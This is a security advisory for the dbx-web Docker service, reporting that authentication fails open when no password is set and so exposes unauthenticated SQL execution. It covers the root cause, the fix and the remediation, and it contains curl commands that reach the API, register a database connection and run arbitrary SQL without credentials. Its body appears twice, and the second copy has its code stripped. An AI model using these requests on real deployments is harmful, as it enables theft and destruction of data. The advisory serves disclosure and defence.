Unauthenticated arbitrary SQL execution in the dbx-web Docker service (authentication fails open when no password is set)
Resolution
Fixed in fb919ef and released in v0.5.51.
Protected API requests now return HTTP 401 until password setup is completed. Only the authentication endpoints required for first-run setup remain accessible before initialization.
Summary
The dbx-web service (the Docker / self-hosted web component of dbx) authenticates by an authorization middleware that fails open: when no password is configured, it allows every request to every /api/ route, including database connection and SQL execution endpoints. The service binds 0.0.0.0 by default, and the official quickstart in the README starts it with no password. The result is that the default documented deployment exposes unauthenticated arbitrary SQL execution against every database the operator connects, to any host that can reach port 4224.
Severity
Critical — CVSS 3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CWE-306 (Missing Authentication for Critical Function). The authentication system fails open rather than closed when unconfigured.
Affected component and version
- Component:
dbx-web (crate crates/dbx-web), the Docker / self-hosted web service.
- Version:
0.5.29 (workspace), reproduced on the published image t8y2/dbx:latest (digest sha256:787a339db66e37bd240d9dd99bca9f7afcdf0fddf691a2663ddfd4361c34bac5), source commit 5e21b744872e.
- Not affected: the desktop (Tauri) application, which binds loopback only.
Root cause
auth_middleware returns the request to the handler chain unconditionally when password_hash is None:
// crates/dbx-web/src/auth.rs:182
pub async fn auth_middleware(
State(state): State<Arc<WebState>>,
req: Request<axum::body::Body>,
next: Next,
) -> Response {
// No password set — allow everything
if state.password_hash.read().await.is_none() {
return next.run(req).await; // <-- fails OPEN for every route
}
...
}
password_hash resolves to None whenever DBX_PASSWORD is unset and no password has been stored:
// crates/dbx-web/src/main.rs:65
let password_hash = if let Some(pw) = std::env::var("DBX_PASSWORD").ok() {
let salt = SaltString::generate(&mut OsRng);
Some(Argon2::default().hash_password(pw.as_bytes(), &salt).expect(...).to_string())
} else {
app_state.storage.load_password_hash().await.unwrap_or(None) // <-- None on a fresh install
};
The service binds all interfaces by default:
// crates/dbx-web/src/main.rs:321
let port: u16 = std::env::var("DBX_PORT").ok().and_then(|p| p.parse().ok()).unwrap_or(4224);
let addr = SocketAddr::from(([0, 0, 0, 0], port));
The setup() flow that creates the first password is never enforced. There is no code path that refuses to serve /api/ until a password exists. A direct API client never visits the web UI, never sees the setup prompt, and is served regardless.
Why this is the default deployment, not a misconfiguration
The README's own "Getting Started" Docker Compose sets no DBX_PASSWORD:
services:
dbx:
image: t8y2/dbx
ports:
- "4224:4224"
volumes:
- dbx-data:/app/data
restart: unless-stopped
Open http://localhost:4224 in your browser.
A user who follows the documented install runs an unauthenticated service. The bind is 0.0.0.0, not the localhost the documentation implies, so on any shared network the service is reachable by other hosts. The deploy/Dockerfile (CMD ["dbx-web"], no DBX_PASSWORD) ships the same way. The shipped deploy/docker-compose.yml sets DBX_PASSWORD=changeme, a hardcoded weak default, so even that path does not require the operator to choose a real secret.
Reproduction
A complete, self-contained PoC running the genuine published image against a seeded Postgres victim is attached. It requires zero credentials.
# Terminal 1 — start the genuine image (no DBX_PASSWORD) + a victim Postgres
docker compose up -d
# Terminal 2 — independent witness: queries Postgres directly, bypassing dbx-web
watch -n1 ./verify.sh
# Terminal 3 — fire the exploit (no auth, plain HTTP)
python3 exploit.py
Minimal manual proof (no tooling):
# 1. Reach an authenticated-only API with no credentials — returns 200, not 401
curl -s -o /dev/null -w "%{http_code}\n" http://TARGET:4224/api/connection/list
# 2. Register a database connection, unauthenticated
curl -s http://TARGET:4224/api/connection/connect \
-H 'Content-Type: application/json' \
-d '{"config":{"id":"x","name":"x","db_type":"postgres","host":"DBHOST","port":5432,
"username":"USER","password":"PASS","database":"DB"}}'
# 3. Execute arbitrary SQL on it, unauthenticated
curl -s http://TARGET:4224/api/query/execute \
-H 'Content-Type: application/json' \
-d '{"connectionId":"x","database":"DB","sql":"SELECT current_user, version()"}'
The attached PoC runs a five-phase demonstration (recon, exfiltration, privilege escalation, destruction, audit-log poisoning) and proves the database state changes with an independent Postgres witness that never passes through dbx-web. A captured run is in proof.txt.
Impact
An unauthenticated network attacker who can reach the dbx-web port can, against every database the operator has configured (dbx supports 40+ database engines):
- Read all data (credentials, PII, payment data, secrets).
- Modify and destroy data (
INSERT, UPDATE, DELETE, DROP).
- Use the database connections, SSH tunnels, and stored credentials the operator configured in dbx.
On any deployment where the port is reachable beyond loopback (the default bind, a published container port, a LAN, or an exposed host) this is full unauthenticated database compromise.
Remediation
- Fail closed. When
password_hash is None, refuse to serve /api/ data routes (return 401/403 and direct the caller to complete first-run setup), instead of allowing every request. Only /api/auth/setup and static assets should be reachable in the unconfigured state.
- Bind loopback by default. Default to
127.0.0.1 and require an explicit opt-in (a flag or env var) to bind 0.0.0.0, with a startup warning.
- Do not ship a weak default credential. Remove
DBX_PASSWORD=changeme from deploy/docker-compose.yml; generate a random password on first run and print it once, or require the operator to set one.
- Update the README quickstart to set a password (or document the loopback-only expectation explicitly).
Disclosure
Reported privately via GitHub Private Vulnerability Reporting, per SECURITY.md, which lists "Docker web service authentication and data directory handling" as an in-scope security area. No third-party systems were tested; all reproduction was performed locally against fabricated data.
Unauthenticated arbitrary SQL execution in the dbx-web Docker service (authentication fails open when no password is set)
Resolution
Fixed in fb919ef and released in v0.5.51.
Protected API requests now return HTTP 401 until password setup is completed. Only the authentication endpoints required for first-run setup remain accessible before initialization.
Summary
The dbx-web service (the Docker / self-hosted web component of dbx) authenticates by an authorization middleware that fails open: when no password is configured, it allows every request to every
/api/route, including database connection and SQL execution endpoints. The service binds0.0.0.0by default, and the official quickstart in the README starts it with no password. The result is that the default documented deployment exposes unauthenticated arbitrary SQL execution against every database the operator connects, to any host that can reach port 4224.Severity
Critical — CVSS 3.1 9.8 (
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).CWE-306 (Missing Authentication for Critical Function). The authentication system fails open rather than closed when unconfigured.
Affected component and version
dbx-web(cratecrates/dbx-web), the Docker / self-hosted web service.0.5.29(workspace), reproduced on the published imaget8y2/dbx:latest(digestsha256:787a339db66e37bd240d9dd99bca9f7afcdf0fddf691a2663ddfd4361c34bac5), source commit5e21b744872e.Root cause
auth_middlewarereturns the request to the handler chain unconditionally whenpassword_hashisNone:password_hashresolves toNonewheneverDBX_PASSWORDis unset and no password has been stored:The service binds all interfaces by default:
The
setup()flow that creates the first password is never enforced. There is no code path that refuses to serve/api/until a password exists. A direct API client never visits the web UI, never sees the setup prompt, and is served regardless.Why this is the default deployment, not a misconfiguration
The README's own "Getting Started" Docker Compose sets no
DBX_PASSWORD:A user who follows the documented install runs an unauthenticated service. The bind is
0.0.0.0, not thelocalhostthe documentation implies, so on any shared network the service is reachable by other hosts. Thedeploy/Dockerfile(CMD ["dbx-web"], noDBX_PASSWORD) ships the same way. The shippeddeploy/docker-compose.ymlsetsDBX_PASSWORD=changeme, a hardcoded weak default, so even that path does not require the operator to choose a real secret.Reproduction
A complete, self-contained PoC running the genuine published image against a seeded Postgres victim is attached. It requires zero credentials.
Minimal manual proof (no tooling):
The attached PoC runs a five-phase demonstration (recon, exfiltration, privilege escalation, destruction, audit-log poisoning) and proves the database state changes with an independent Postgres witness that never passes through dbx-web. A captured run is in
proof.txt.Impact
An unauthenticated network attacker who can reach the dbx-web port can, against every database the operator has configured (dbx supports 40+ database engines):
INSERT,UPDATE,DELETE,DROP).On any deployment where the port is reachable beyond loopback (the default bind, a published container port, a LAN, or an exposed host) this is full unauthenticated database compromise.
Remediation
password_hashisNone, refuse to serve/api/data routes (return 401/403 and direct the caller to complete first-run setup), instead of allowing every request. Only/api/auth/setupand static assets should be reachable in the unconfigured state.127.0.0.1and require an explicit opt-in (a flag or env var) to bind0.0.0.0, with a startup warning.DBX_PASSWORD=changemefromdeploy/docker-compose.yml; generate a random password on first run and print it once, or require the operator to set one.Disclosure
Reported privately via GitHub Private Vulnerability Reporting, per
SECURITY.md, which lists "Docker web service authentication and data directory handling" as an in-scope security area. No third-party systems were tested; all reproduction was performed locally against fabricated data.